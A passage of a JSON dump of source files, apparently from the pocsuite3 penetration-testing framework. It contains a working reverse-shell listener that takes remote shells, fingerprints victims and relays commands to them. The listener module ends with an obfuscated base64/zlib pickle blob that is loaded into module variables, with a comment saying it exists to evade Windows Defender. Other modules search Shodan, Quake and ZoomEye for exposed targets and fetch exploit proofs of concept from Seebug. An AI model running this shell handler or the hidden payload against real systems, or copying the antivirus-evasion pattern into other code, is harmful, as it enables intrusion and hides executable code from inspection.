b'+9gIIAyNlqPsB6C0fjK5DqJr34kTPBvBhyN6PJ1SNnDhPyawWdudz46SMSmJcVwa'\n        b'uuPzYTCMshVeoKrXa138kH2ye7C5cy3vXy/U9euBogFx1Zffz2d/9y7Pydbz+jeN'\n        b'5mTCK0YpYFSUoLZLQFwql8qGO4hkqkx+vQmmh0BAfGu/Urb6YOG5CygfjFcemv6C'\n        b'yDooW8qXjfL1JlfFDaQYYaLjsV4xMJ6GpZDcksH/aa9+DGV4OJ/9WtAQ7Bng9fHC'\n        b'KemHDMfv57NzCMd2MiwMyfX1+JzB4FIrErtm/iL6WoUFX63y/nLkdJBk9NxFwOez'\n        b'Lzrz2V87WAcG399WVaFHAF6ny8tZvLnuh4DCe+Ze50Xd5rJA1DumvLKV/G4rqwmE'\n        b'YviwII8hbNzEvKs3eb1+s8RNZVk2RsmYp85/AMfBUyk='\n    )\n    vars().update(pickle.loads(zlib.decompress(base64.b64decode(payload))))\n    del payload\n"
  },
  {
    "path": "pocsuite3/modules/listener/reverse_tcp.py",
    "content": "import base64\nimport pickle\nimport zlib\nimport select\nimport socket\nimport threading\nimport time\nimport os\nfrom pocsuite3.lib.utils import gen_cert\nfrom pocsuite3.lib.core.common import data_to_stdout, has_poll, get_unicode, mosaic\nfrom pocsuite3.lib.core.data import conf, kb, logger, paths\nfrom pocsuite3.lib.core.datatype import AttribDict\nfrom pocsuite3.lib.core.enums import AUTOCOMPLETE_TYPE, OS, CUSTOM_LOGGING\nfrom pocsuite3.lib.core.exception import PocsuiteShellQuitException\nfrom pocsuite3.lib.core.settings import DEFAULT_LISTENER_PORT\nfrom pocsuite3.lib.core.shell import auto_completion, clear_history, save_history, load_history\nfrom pocsuite3.lib.core.threads import exception_handled_function\n\n\ndef get_sock_listener(listen_port, listen_host=\"0.0.0.0\", ipv6=False, protocol=None):\n    if protocol in [None, \"TCP\"]:\n        protocol = socket.SOCK_STREAM\n    elif protocol in [\"UDP\"]:\n        protocol = socket.SOCK_DGRAM\n\n    if ipv6:\n        s = socket.socket(socket.AF_INET6, protocol)\n        if listen_host == \"0.0.0.0\":\n            listen_host = \"::\"\n    else:\n        s = socket.socket(socket.AF_INET, protocol)\n    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\n    msg = ''\n    if conf.enable_tls_listener and protocol == socket.SOCK_STREAM:\n        import ssl\n        context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\n        cert_path = os.path.join(paths.POCSUITE_TMP_PATH, 'cacert.pem')\n        gen_cert(filepath=cert_path)\n        context.load_cert_chain(cert_path)\n        s = context.wrap_socket(s, server_side=True)\n        msg = 'TLS '\n    try:\n        s.bind((listen_host, listen_port))\n    except socket.error:\n        s.close()\n        if conf.connect_back_host in kb.data.local_ips:\n            logger.warn(f'unable to listen on {listen_host}:{listen_port}, check if the port is occupied.')\n        return None\n\n    if protocol == socket.SOCK_STREAM:\n        msg += \"listening on {0}:{1}\".format(listen_host, listen_port)\n        logger.log(CUSTOM_LOGGING.SYSINFO, msg)\n        s.listen(5)\n    return s\n\n\ndef get_udp_listener(listen_port=DEFAULT_LISTENER_PORT, listen_host=\"0.0.0.0\", ipv6=False):\n    return get_sock_listener(listen_port, listen_host, ipv6, \"UDP\")\n\n\ndef get_tcp_listener(listen_port=DEFAULT_LISTENER_PORT, listen_host=\"0.0.0.0\", ipv6=False):\n    return get_sock_listener(listen_port, listen_host, ipv6, \"TCP\")\n\n\ndef start_listener():\n    t = threading.Thread(target=exception_handled_function, name=\"listener-thread\", args=[listener_worker])\n    t.setDaemon(True)\n    t.start()\n\n\ndef listener_worker():\n    s = get_tcp_listener(ipv6=conf.ipv6, listen_port=int(conf.connect_back_port))\n    while True:\n        try:\n            conn, address = s.accept()\n            conn.setblocking(1)\n            client = AttribDict()\n            client.conn = conn\n            client.address = address\n            kb.data.clients.append(client)\n            info_msg = \"new connection established from {0}\".format(mosaic(address[0]))\n            logger.log(CUSTOM_LOGGING.SUCCESS, info_msg)\n        except Exception:\n            pass\n\n\ndef list_clients():\n    results = ''\n    # https://en.wikipedia.org/wiki/Uname\n    # https://en.wikipedia.org/wiki/Ver_(command)\n    os_fingerprint = {\n        'Linux': ['Linux', 'GNU'],\n        'macOS': ['Darwin'],\n        'Windows': ['Windows', 'PS ', 'C:\\\\', 'CYGWIN', 'MS-DOS', 'MSYS_NT', 'cmdlet'],\n        'BSD': ['FreeBSD', 'OpenBSD', 'NetBSD', 'MidnightBSD'],\n        'Solaris': ['SunOS']\n    }\n    for i, client in enumerate(kb.data.clients):\n        try:\n            client.conn.send(b'uname\\nver\\n')\n            ret = poll_cmd_execute(client).lower()\n            system, found = 'unknown', False\n            for o, ks in os_fingerprint.items():\n                if found:\n                    break\n                for k in ks:\n                    if k.lower() in ret.lower():\n                        system = o\n                        found = True\n                        break\n        except Exception:  # If a connection fails, remove it\n            del kb.data.clients[i]\n            continue\n\n        results += (f'{i}   ' + mosaic(client.address[0]) + f'     ({system})\\n')\n    data_to_stdout(\"----- Remote Clients -----\" + \"\\n\" + results)\n\n\ndef get_client(cmd):\n    try:\n        target = cmd.split(\" \")[1]\n        target = int(target)\n        client = kb.data.clients[target]  # Connect to the selected clients\n        data_to_stdout(\"Now Connected: {0}\\n\".format(mosaic(client.address[0])))\n        return client\n    except Exception:\n        data_to_stdout(\"Invalid Client\\n\")\n        return None\n\n\ndef send_shell_commands_for_console(client):\n    module_prompt_default_template = \"\\033[4mSHELL\\033[0m (\\033[91m{hostname}\\033[0m) > \"\n    while True:\n        cmd = None\n        try:\n            address = client.address[0]\n            cmd = input(module_prompt_default_template.format(hostname=address))\n            if not cmd:\n                continue\n\n            elif cmd.lower() == \"clear\":\n                clear_history()\n                data_to_stdout(\"[i] history cleared\\n\")\n\n            elif cmd.lower() in (\"x\", \"q\", \"exit\", \"quit\", \"bye\"):\n                break\n\n            client.conn.send(str.encode(cmd + '\\n'))\n\n            resp = poll_cmd_execute(client)\n\n            data_to_stdout(resp)\n\n        except KeyboardInterrupt:\n            logger.warn('Interrupt: use the \\'quit\\' command to quit')\n            continue\n\n        except Exception as ex:\n            logger.error(str(ex))\n            data_to_stdout(\"Connection Lost\\n\")\n            break\n    return True\n\n\ndef send_shell_commands(client):\n    auto_completion(AUTOCOMPLETE_TYPE.OS, OS.LINUX)\n    while True:\n        cmd = None\n        try:\n            address = client.address[0]\n            cmd = input(\"{0}>: \".format(mosaic(address)))\n            if not cmd:\n                continue\n\n            elif cmd.lower() == \"clear\":\n                clear_history()\n                data_to_stdout(\"[i] history cleared\\n\")\n                save_history(AUTOCOMPLETE_TYPE.POCSUITE)\n\n            elif cmd.lower() in (\"x\", \"q\", \"exit\", \"quit\", \"bye\"):\n                break\n\n            client.conn.send(str.encode(cmd + '\\n'))\n\n            resp = poll_cmd_execute(client)\n\n            data_to_stdout(resp)\n\n        except KeyboardInterrupt:\n            logger.warn('Interrupt: use the \\'quit\\' command to quit')\n            continue\n\n        except Exception as ex:\n            logger.error(str(ex))\n            data_to_stdout(\"Connection Lost\\n\")\n            break\n\n\ndef poll_cmd_execute(client, timeout=3):\n    if has_poll():\n        p = select.poll()\n        event_in_mask = select.POLLIN | select.POLLPRI\n        event_err_mask = select.POLLERR\n        event_closed_mask = select.POLLHUP | select.POLLNVAL\n        event_mask = event_in_mask | event_err_mask | event_closed_mask\n        p.register(client.conn, event_mask)\n        count = 0\n        ret = ''\n        read_again = True\n        while True:\n            events = p.poll(100)\n            if events:\n                event = events[0][1]\n                if event & select.POLLERR:\n                    ret = \"Client Hung up\\n\"\n                    break\n\n                ready = event & select.POLLPRI or event & select.POLLIN\n                if not ready:\n                    ret = \"Command has no result or filtered by firewall\\n\"\n                    break\n                else:\n                    time.sleep(0.05)\n                    ret += get_unicode(client.conn.recv(65536))\n            else:\n                if ret:\n                    if read_again:\n                        read_again = False\n                        continue\n                    break\n                elif count > timeout:\n                    ret = \"Command has no result or filtered by firewall\\n\"\n                    break\n                else:\n                    data_to_stdout(\".\")\n                    read_again = False\n                    time.sleep(1)\n                    count += 1\n\n        p.unregister(client.conn)\n    else:\n        count = 0\n        ret = ''\n        read_again = True\n        while True:\n            ready = select.select([client.conn], [], [], 0.1)\n            if ready[0]:\n                time.sleep(0.05)\n                ret += get_unicode(client.conn.recv(65536))\n            else:\n                if ret:\n                    if read_again:\n                        read_again = False\n                        continue\n                    break\n                elif count > timeout:\n                    ret = \"Command has no result or filtered by firewall\\n\"\n                else:\n                    data_to_stdout('.')\n                    read_again = False\n                    time.sleep(1)\n                    count += 1\n\n    if ret and not ret.startswith('\\r'):\n        ret = \"\\r{0}\".format(ret)\n    if ret and not ret.endswith('\\n'):\n        ret = \"{0}\\n\".format(ret)\n\n    return ret\n\n\ndef print_cmd_help():\n    msg = \"-----   Help Menu  -----\\n\"\n    msg += \"command      description\\n\"\n    msg += \"list         list connected clients\\n\"\n    msg += \"select       select which client to send command\\n\"\n    msg += \"quit         quit shell\\n\"\n    msg += \"help         print help information\\n\"\n    data_to_stdout(msg)\n\n\ndef handle_listener_connection_for_console(wait_time=3, try_count=3):\n    while len(kb.data.clients) == 0:\n        try:\n            time.sleep(wait_time)\n        except KeyboardInterrupt:\n            break\n\n    if len(kb.data.clients) > 0:\n        cmd = \"select 0\"\n        client = get_client(cmd)\n        if client is not None:\n            send_shell_commands_for_console(client)\n\n\ndef handle_listener_connection():\n    _ = [\"list\", \"select\", \"exit\", \"quit\", \"clear\"]\n    auto_completion(AUTOCOMPLETE_TYPE.POCSUITE, commands=_)\n\n    while True:\n        try:\n            cmd = None\n            cmd = input('shell>: ').strip()\n            if not cmd:\n                continue\n            elif cmd.lower() in (\"?\", \"help\"):\n                print_cmd_help()\n            elif cmd.lower() == \"clear\":\n                clear_history()\n                data_to_stdout(\"[i] history cleared\\n\")\n                save_history(AUTOCOMPLETE_TYPE.POCSUITE)\n            elif cmd.lower() in (\"x\", \"q\", \"exit\", \"quit\"):\n                raise PocsuiteShellQuitException\n            elif cmd == \"list\":\n                list_clients()\n            elif cmd.lower().split(\" \")[0] in ('select', 'use'):\n                client = get_client(cmd)\n                if client is not None:\n                    send_shell_commands(client)\n            else:\n                save_history(AUTOCOMPLETE_TYPE.POCSUITE)\n                load_history(AUTOCOMPLETE_TYPE.POCSUITE)\n                data_to_stdout(\"Command Not Found... type ? for help.\\n\")\n\n        except KeyboardInterrupt:\n            logger.warn('Interrupt: use the \\'quit\\' command to quit')\n            continue\n\n\nclass REVERSE_PAYLOAD:\n    # Evading Windows Defender\n    # Pocsuite3 is an open source security tool, not virus.\n    # I believe that this is a false positive of your antivirus tool :)\n    payload = (\n        b'eJyVV19z20QQLzTQTqevPMLcaFRLAll2HFzAijwkrksCxvbYLm0n43Fl+ZSI2JLQ'\n        b'nZuY2DPwrkfxyAsfgC/D8MKX4Cuwe5Icx6R0cGak097e7m/39l9+2vnl4uEd8Vsl'\n        b'avxuu5HEzWhGSnwWllxzdu56bpB/OTbPlsvS2PNL7IwUPVKpF3aXvkOuyitytbsi'\n        b'9ZQlie+2G5Uk/gC2ipTkBzIusbuXxLugq+imUkNQ5weT7IOEpFAgG3LLKT2J3zs8'\n        b'6B+Vk/ijVH+9QEoT+rrEnbAEvCXBC5iSeAcZk1gd28jpEOW/DyiZaAD9eOtI4ZSb'\n        b'BXsWmrecXO+hgPcHzVa7OUjiARoWbVh27chwubxpqMnp1Kf82tL9jC932m49t32n'\n        b'2+y1kvjPkEZTdKsyZ5T0A+ecclP2LAlESKYcWiDGZIKs9vXu09ExgNL7ncY3o/6g'\n        b'1zz4Vj+lPIwCHowXvj2jqgQmSZpmeq7qBL5PHTyHAuzJJBp5viqHugcYRzYP4MPT'\n        b'4Hd1FYTUV/uDJ8dtXaoX+pJm5pTOs8E2qdnr5SR6SR1Vuo4hIK1WJrqv+3Jw1Gkn'\n        b'8V/hgp8FvrgCbxYGESepOTqbjwG4QxnTA2YyKyUbmbHZ10Fmcfa5YbhmMiO3UBXu'\n        b'0sFXYHnAjMk8rKjMcL0p9QNV08uaSW4h795OrmhmaF2jMxx7OlVPcislXQI7hxpa'\n        b'ebd71E3iJ+FZCCFCFBlRWi4+ha+uUf3LUWS/sAfxu4dJtycJYTu9Z4cvk/jHaD5e'\n        b'gLjUYhEa9NLjxHOJG0TnpmMNGt00UAyfXmRKJNACYi7OwAjVmU0sx4DAYJp53DFC'\n        b'AQaIuhRJcNlLL1g6Rhh5PkgNjIjak9WK+hPE8PXBdwdJ/GtELNKb+9ybUZSTLVXt'\n        b'QQgbkSGsyTyCCYY+ceCBdFLdr2/nlig4+4UqWRKBkKBOMoU4NMkkIDKu0BNVcEkV'\n        b'ST6VhsRmpM8B5enJEBQbF7bHnwaRqiXxg27nebPXP2q2WsmLv9+5c0d2ph4FcyzS'\n        b'phfFzvh7iArSXzBOZ0Yb40b4ixnguobgVBWApqR3IzMOeGZwOBNjfEV5X9BUzTwZ'\n        b'Lzg9GQ5lfDNgKhvG42p1r7p8dAUyVpnPIZVQQCrK6IF9anpCJ2WdpEujRf1TfqZp'\n        b'pAj2luEqTHlicxsOqhu4i4NFSNuQzLkFA3oJmdBvHB83fSeYgEe0DCIsczWoxUNj'\n        b'4CbHtnOOQj16SVINWNvB+505L6bHyAZrRSDPz31ClG6fKPBWw4uJZnRtfobEOlGy'\n        b'I6APpZ9wxEUzSMNaTUAU0A4RknqtYO1k43nkcaqu5QDs9Tp3z5r36XTOzlQNfJxf'\n        b'TGMaMIoRcK/Tbbb7faigP2/WZ3ajPrMb9ZlBfd5MwIwouh5mCGNTwkZZIBV/mHuY'\n        b'fVmFwYpeg2CpZ1pu6AQ0UAdGiObFQwjGdTlw+CW3UltGIAjdNXLgCxxwIoE6yaqf'\n        b'SK9p5LmLUUhpBN+uPWVU3ySOsKznO8NhnuMys77MRKeVIkOuouBaqZQBlnSZRn6A'\n        b'T+DW98p6Wj1HjdZxsz0YNTrtdrMx0AVW7ASZ9KnlYv0ANUgU+S5PdTmAywksqOPT'\n        b'YAK95oGUkQwL1qYbzsURQVzBTymI8eDTdHjIu+L1EJH1aRgfDtd9urxf2P1srygq'\n        b'JoHVLdUEOAUTVAt8VsQLqte9tGdj278xjZB/jyPbjTpvy4C2msTd/9PzNyebN/f7'\n        b'u61nUFj/mM5ttF+aBtBVCLMiCoEWUVVJL1HRzHSHWzZjNII+aIDlKrQ1Xsu73Ubp'\n        b'Sqspj+YU62h6NNIvLV6LqEO915ArmUA3FwgVP20Ika5Eipbvj/N9t4bFWVU+thWh'\n        b'FbNTHUMH8yemW3PSBEQ02UpK4vs4y4j4j3+7Mc8cd2q1tPTCu9/CeUb0MGxoOkwo'\n        b'cgjB41hbbMU69rUuxP4BzCxWXVrHMmyOstSYQQBa9XKeDmzBBGzZ0WVP/3z3iwrG'\n        b'LVAv0nrj6K9k7xVGJQ6H2GkhSpztVqu4G811q4UbPBh5aVQy0TvdrX7+aALxCI8K'\n        b'PiXdxT8NtN1Hbal3ft9SGOV155Yu34EtOCQ8Ih4bPf/NE4CWz0RvGQXQGvb2eeB+'\n        b'u3EwSLF/6GMT3/gHoFhE5Pm/AXPjH5hWGLM='\n    )\n    vars().update(pickle.loads(zlib.decompress(base64.b64decode(payload))))\n    del payload\n\n\nif __name__ == \"__main__\":\n    start_listener()\n"
  },
  {
    "path": "pocsuite3/modules/quake/__init__.py",
    "content": "import time\nimport getpass\nfrom configparser import ConfigParser\nfrom pocsuite3.lib.core.data import logger, paths\nfrom pocsuite3.lib.core.common import is_ipv6_address_format\nfrom pocsuite3.lib.request import requests\n\n\nclass Quake():\n    def __init__(self, conf_path=paths.POCSUITE_RC_PATH, token=None):\n        self.headers = {'User-Agent': 'curl/7.80.0', 'Content-Type': 'application/json'}\n        self.credits = 0\n        self.conf_path = conf_path\n        self.token = token\n\n        if self.conf_path:\n            self.parser = ConfigParser()\n            self.parser.read(self.conf_path)\n            try:\n                self.token = self.token or self.parser.get(\"Quake\", 'token')\n            except Exception:\n                pass\n\n        self.check_token()\n\n    def token_is_available(self):\n        if self.token:\n            try:\n                self.headers['X-QuakeToken'] = self.token\n                resp = requests.get(\n                    'https://quake.360.cn/api/v3/user/info', headers=self.headers)\n\n                if 'month_remaining_credit' not in resp.text:\n                    logger.info(resp.text)\n\n                if resp and resp.status_code == 200 and resp.json()['code'] == 0:\n                    return True\n            except Exception as ex:\n                logger.error(str(ex))\n        return False\n\n    def check_token(self):\n        if self.token_is_available():\n            return True\n        while True:\n            new_token = getpass.getpass(\"Quake API token: (input will hidden)\")\n            self.token = new_token\n            if self.token_is_available():\n                self.write_conf()\n                return True\n            else:\n                logger.error(\"The Quake api token is incorrect, Please enter the correct api token.\")\n\n    def write_conf(self):\n        if not self.parser.has_section(\"Quake\"):\n            self.parser.add_section(\"Quake\")\n        try:\n            self.parser.set(\"Quake\", \"Token\", self.token)\n            self.parser.write(open(self.conf_path, \"w\"))\n        except Exception as ex:\n            logger.error(str(ex))\n\n    def search(self, dork, pages=2):\n        search_result = set()\n        data = {\"query\": dork, \"size\": 10,\n                \"ignore_cache\": \"false\", \"start\": 1}\n        try:\n            for page in range(1, pages + 1):\n                time.sleep(1)\n                data['start'] = page\n                url = \"https://quake.360.cn/api/v3/search/quake_service\"\n                resp = requests.post(url, json=data, headers=self.headers, timeout=60)\n                if resp and resp.status_code == 200 and resp.json()['code'] == 0:\n                    content = resp.json()\n                    for match in content['data']:\n                        ip = match['ip']\n                        if is_ipv6_address_format(ip):\n                            ip = f'[{ip}]'\n                        search_result.add(\"%s:%s\" % (ip, match['port']))\n                else:\n                    logger.error(\"[PLUGIN] Quake:{}\".format(resp.text))\n        except Exception as ex:\n            logger.error(str(ex))\n        return search_result\n\n\nif __name__ == \"__main__\":\n    qk = Quake(token=\"\")\n    z = qk.search('app:\"F5_BIG-IP\"')\n    print(z)\n"
  },
  {
    "path": "pocsuite3/modules/seebug/__init__.py",
    "content": "import getpass\nfrom configparser import ConfigParser\n\nfrom pocsuite3.lib.request import requests\nfrom pocsuite3.lib.core.data import logger, paths\n\n\nclass Seebug():\n    def __init__(self, conf_path=paths.POCSUITE_RC_PATH, token=None):\n        self.url = 'https://www.seebug.org/api'\n        self.headers = {'User-Agent': 'curl/7.80.0'}\n        self.token = token\n        self.pocs = []\n        self.conf_path = conf_path\n\n        if self.conf_path:\n            self.parser = ConfigParser()\n            self.parser.read(self.conf_path)\n            try:\n                self.token = self.token or self.parser.get('Seebug', 'token')\n            except Exception:\n                pass\n\n        self.check_token()\n\n    def token_is_available(self):\n        if self.token:\n            try:\n                self.headers['Authorization'] = f'Token {self.token}'\n                resp = requests.get(f'{self.url}/user/poc_list', headers=self.headers)\n                if resp and resp.status_code == 200:\n                    self.pocs = resp.json()\n                    return True\n                else:\n                    logger.info(resp.text)\n            except Exception as ex:\n                logger.error(str(ex))\n        return False\n\n    def check_token(self):\n        if self.token_is_available():\n            return True\n\n        while True:\n            self.token = getpass.getpass('Seebug API token: (input will hidden)')\n            if self.token_is_available():\n                self.write_conf()\n                return True\n            else:\n                logger.error('The Seebug api token is incorrect, Please enter the correct api token.')\n\n    def write_conf(self):\n        if not self.parser.has_section('Seebug'):\n            self.parser.add_section('Seebug')\n        try:\n            self.parser.set('Seebug', 'token', self.token)\n            self.parser.write(open(self.conf_path, 'w'))\n        except Exception as ex:\n            logger.error(str(ex))\n\n    def get_available_pocs(self):\n        return self.pocs\n\n    def search_poc(self, keyword):\n        try:\n            resp = requests.get(f'{self.url}/user/poc_list?q={keyword}', headers=self.headers)\n            if resp and resp.status_code == 200:\n                pocs = resp.json()\n                return pocs\n        except Exception as ex:\n            logger.error(str(ex))\n        return []\n\n    def fetch_poc(self, ssvid):\n        try:\n            if ssvid and ssvid.startswith('ssvid-'):\n                ssvid = ssvid.split('ssvid-')[-1]\n            resp = requests.get(f'{self.url}/user/poc_detail?id={ssvid}', headers=self.headers)\n            content = resp.json()\n            if resp and resp.status_code == 200 and 'code' in content:\n                poc = content['code']\n                return poc\n            elif resp.status_code == 200 and 'status' in content and content['status'] is False:\n                if 'message' in content:\n                    msg = content['message']\n                    if msg == \"没有权限访问此漏洞\":\n                        msg = \"No permission to access the vulnerability PoC\"\n                else:\n                    msg = \"Unknown\"\n                msg = \"[PLUGIN] Seebug:\" + msg\n                raise Exception(msg)\n        except Exception as ex:\n            logger.error(str(ex))\n        return ''\n\n\nif __name__ == \"__main__\":\n    sb = Seebug()\n    print(sb.search_poc('redis'))\n    print(sb.get_available_pocs())\n    print(sb.fetch_poc(ssvid='89715'))\n"
  },
  {
    "path": "pocsuite3/modules/shodan/__init__.py",
    "content": "import time\nimport urllib\nimport getpass\nfrom configparser import ConfigParser\nfrom pocsuite3.lib.core.data import logger, paths\nfrom pocsuite3.lib.core.common import is_ipv6_address_format\nfrom pocsuite3.lib.request import requests\n\n\nclass Shodan():\n    def __init__(self, conf_path=paths.POCSUITE_RC_PATH, token=None):\n        self.url = 'https://api.shodan.io'\n        self.headers = {'User-Agent': 'curl/7.80.0'}\n        self.credits = 0\n        self.conf_path = conf_path\n        self.token = token\n\n        if self.conf_path:\n            self.parser = ConfigParser()\n            self.parser.read(self.conf_path)\n            try:\n                self.token = self.token or self.parser.get(\"Shodan\", 'Token')\n            except Exception:\n                pass\n\n        self.check_token()\n\n    def token_is_available(self):\n        if self.token:\n            try:\n                resp = requests.get(f'{self.url}/account/profile?key={self.token}', headers=self.headers)\n                logger.info(resp.text)\n                if resp and resp.status_code == 200 and \"member\" in resp.json():\n                    self.credits = resp.json()['credits']\n                    return True\n            except Exception as ex:\n                logger.error(str(ex))\n        return False\n\n    def check_token(self):\n        if self.token_is_available():\n            return True\n\n        while True:\n            new_token = getpass.getpass(\"Shodan API Token: (input will hidden)\")\n            self.token = new_token\n            if self.token_is_available():\n                self.write_conf()\n                return True\n            else:\n                logger.error(\"The shodan api token is incorrect, Please enter the correct api token.\")\n\n    def write_conf(self):\n        if not self.parser.has_section(\"Shodan\"):\n            self.parser.add_section(\"Shodan\")\n        try:\n            self.parser.set(\"Shodan\", \"Token\", self.token)\n            self.parser.write(open(self.conf_path, \"w\"))\n        except Exception as ex:\n            logger.error(str(ex))\n\n    def search(self, dork, pages=1):\n        resource = 'host'\n        dork = urllib.parse.quote(dork)\n        search_result = set()\n        try:\n            for page in range(1, pages + 1):\n                time.sleep(1)\n                url = f\"{self.url}/shodan/{resource}/search?key={self.token}&query={dork}&page={page}\"\n                resp = requests.get(url, headers=self.headers, timeout=60)\n                if resp and resp.status_code == 200 and \"total\" in resp.json():\n                    content = resp.json()\n                    for match in content['matches']:\n                        ans = match['ip_str']\n                        if 'port' in match:\n                            if is_ipv6_address_format(ans):\n                                ans = f'[{ans}]'\n                            ans += ':' + str(match['port'])\n                        search_result.add(ans)\n                else:\n                    logger.error(\"[PLUGIN] Shodan:{}\".format(resp.text))\n        except Exception as ex:\n            logger.error(str(ex))\n        return search_result\n\n\nif __name__ == \"__main__\":\n    sd = Shodan()\n    sd.search(dork='\"<title>Vigor 300B</title>\"')\n"
  },
  {
    "path": "pocsuite3/modules/spider/__init__.py",
    "content": "import re\nfrom urllib.parse import urljoin\nfrom html.parser import HTMLParser\nfrom pocsuite3.lib.request import requests\nfrom pocsuite3.lib.core.settings import IMG_EXT\nfrom pocsuite3.lib.core.data import logger\nfrom pocsuite3.lib.utils import urlparse\n\n\nclass LinkParser(HTMLParser):\n    def handle_starttag(self, tag, attrs):\n        if tag == 'a':\n            for (key, value) in attrs:\n                if key == 'href':\n                    new_url = urljoin(self.base_url, value)\n                    new_url = new_url.split('#')[0].strip()\n                    if self.is_origin(new_url):\n                        if self.url_ext:\n                            url = new_url.split('?')[0].strip()\n                            if url.endswith(self.url_ext):\n                                self.urls['url'].add(new_url)\n                        else:\n                            self.urls['url'].add(new_url)\n\n        if tag == 'img':\n            for (key, value) in attrs:\n                if key == 'src':\n                    new_url = urljoin(self.base_url, value)\n                    new_url = new_url.split('?')[0].strip()\n                    if new_url.lower().endswith(IMG_EXT) and self.is_origin(new_url):\n                        self.urls['img'].add(new_url)\n\n        if tag == 'script':\n            for (key, value) in attrs:\n                if key == 'src':\n                    new_url = urljoin(self.base_url, value)\n                    new_url = new_url.split('?')[0].strip()\n                    if new_url.lower().endswith('.js') and self.is_origin(new_url):\n                        self.urls['js'].add(new_url)\n\n    def is_origin(self, url):\n        url_part = urlparse(url)\n        return self.origin == (url_part.scheme, url_part.netloc)\n\n    def get_links(self, url, url_ext=()):\n        # TODO:\n        # set base url from base tag or current url\n        self.base_url = url\n        url_part = urlparse(url)\n        self.origin = (url_part.scheme, url_part.netloc)\n        self.urls = {\n            'url': set(),\n            'js': set(),\n            'img': set()\n        }\n        if isinstance(url_ext, str):\n            url_ext = set(url_ext)\n\n        self.url_ext = url_ext\n\n        debug_msg = \"crawler visiting: {0}\".format(url)\n        logger.debug(debug_msg)\n\n        resp = requests.get(url)\n        content_type = resp.headers.get('content-type', '')\n        if 'text/html' in content_type:\n            html = resp.text\n            self.feed(html)\n\n        return self.urls\n\n\ndef get_redirect_url(url):\n    # TODO:\n    # regex need more test cases\n    meta_regex = r'(?is)\\<meta[^<>]*?url\\s*=([\\d\\w://\\\\\\\\.?=&;%-]*)[^<>]*'\n    body_regex = r'''(?is)\\<body[^<>]*?location[\\s\\.\\w]*=['\"]?([\\d\\w://\\\\\\\\.?=&;%-]*)['\"]?[^<>]*'''\n    js_regex = r'''(?is)<script.*?>[^<>]*?location\\.(?:replace|href|assign)[=\\(\"']*([\\d\\w://\\\\\\\\.?=&;%-]*)[^<>]*?</script>'''\n\n    resp = requests.get(url)\n    true_url = resp.url\n\n    for regex in [meta_regex, body_regex, js_regex]:\n        result = re.search(regex, resp.text)\n        if result:\n            redirect_url = result.group(1)\n            true_url = urljoin(url, redirect_url)\n            break\n    return true_url\n\n\ndef crawl(url, max_pages=50, url_ext=()):\n    true_url = get_redirect_url(url)\n    pages_need_visit = [true_url]\n    pages_count = 0\n    urls = {\n        'url': set(),\n        'js': set(),\n        'img': set()\n    }\n    while pages_count < max_pages and pages_need_visit:\n        url = pages_need_visit.pop(0)\n        try:\n            parser = LinkParser()\n            links = parser.get_links(url, url_ext=url_ext)\n            for k, v in links.items():\n                urls[k] = urls[k].union(v)\n\n            pages_count += len(links['url'])\n            pages_need_visit.extend([i for i in links['url']])\n\n        except Exception as ex:\n            logger.error(ex)\n\n    return urls\n\n\nif __name__ == '__main__':\n    import pprint\n    urls = crawl('http://example.com:8000/sipo/', url_ext=('.action', '.do'))\n    pprint.pprint(urls)\n"
  },
  {
    "path": "pocsuite3/modules/zoomeye/__init__.py",
    "content": "import getpass\nimport time\nfrom base64 import b64encode\nfrom configparser import ConfigParser\nfrom pocsuite3.lib.core.data import logger, kb, paths\nfrom pocsuite3.lib.core.common import is_ipv6_address_format\nfrom pocsuite3.lib.request import requests\n\n\nclass ZoomEye():\n    def __init__(self, conf_path=paths.POCSUITE_RC_PATH, token=None):\n        self.url = None\n        self.headers = {\n            'User-Agent': 'curl/7.80.0',\n            \"Content-Type\": \"application/json\",\n        }\n        self.token = token\n        self.points = None\n        self.zoomeye_points = None\n        self.plan = None\n        self.conf_path = conf_path\n\n        if self.conf_path:\n            self.parser = ConfigParser()\n            self.parser.read(self.conf_path)\n            try:\n                self.token = self.token or self.parser.get('ZoomEye', 'token')\n                self.url = self.url or self.parser.get('ZoomEye', 'url')\n            except Exception:\n                pass\n\n        self.check_token()\n\n    def token_is_available(self):\n        if self.token:\n            try:\n                self.headers['API-KEY'] = self.token\n                resp = requests.post(f'{self.url}/v2/userinfo', headers=self.headers)\n                if resp and resp.status_code == 200 and 'plan' in resp.text:\n                    content = resp.json()\n                    self.plan = content['data']['subscription']['plan']\n                    self.points = content['data']['subscription']['points']\n                    self.zoomeye_points = content['data']['subscription']['zoomeye_points']\n                    return True\n                else:\n                    logger.info(resp.text)\n                    return False\n            except Exception as ex:\n                logger.error(str(ex))\n        return False\n\n    def check_token(self):\n        if self.token and self.url:\n            if self.token_is_available():\n                return True\n\n        while True:\n            logger.info(\"Users in mainland China should use https://api.zoomeye.org, \"\n                        \"while other users should use https://api.zoomeye.ai.\")\n            self.url = input(\"ZoomEye Url:\").rstrip('/')\n            self.token = getpass.getpass(\"ZoomEye API token: (input will hidden)\")\n            if self.token_is_available():\n                self.write_conf()\n                return True\n            else:\n                logger.error(\"The ZoomEye api token is incorrect, Please enter the correct api token.\")\n\n    def write_conf(self):\n        if not self.parser.has_section(\"ZoomEye\"):\n            self.parser.add_section(\"ZoomEye\")\n        try:\n            self.parser.set(\"ZoomEye\", \"token\", self.token)\n            self.parser.set(\"ZoomEye\", \"url\", self.url)\n            self.parser.write(open(self.conf_path, \"w\"))\n        except Exception as ex:\n            logger.error(str(ex))\n\n    def search(self, dork, pages=2, pagesize=20, search_type=\"v4\"):\n        search_result = set()\n        if kb.comparison:\n            kb.comparison.add_dork(\"Zoomeye\", dork)\n        try:\n            for page in range(1, pages + 1):\n                time.sleep(1)\n                url = f'{self.url}/v2/search'\n                data = {\n                    \"qbase64\": b64encode(dork.encode('utf-8')).decode('utf-8'),\n                    \"page\": page,\n                    \"pagesize\": pagesize,\n                    \"sub_type\": search_type,\n                    \"fields\": \"ip,port,domain,service,honeypot\"\n                }\n\n                resp = requests.post(url, headers=self.headers, timeout=60, json=data)\n                content = resp.json()\n                if resp and resp.status_code == 200 and content.get(\"code\", None) == 60000:\n\n                    for match in content['data']:\n                        if match['domain']:\n                            url = match['domain']\n                        else:\n                            host = match['ip']\n                            port = match['port']\n                            url = f'[{host}]:{port}' if is_ipv6_address_format(host) else f'{host}:{port}'\n                            scheme = ''\n                            if match['service']:\n                                scheme = 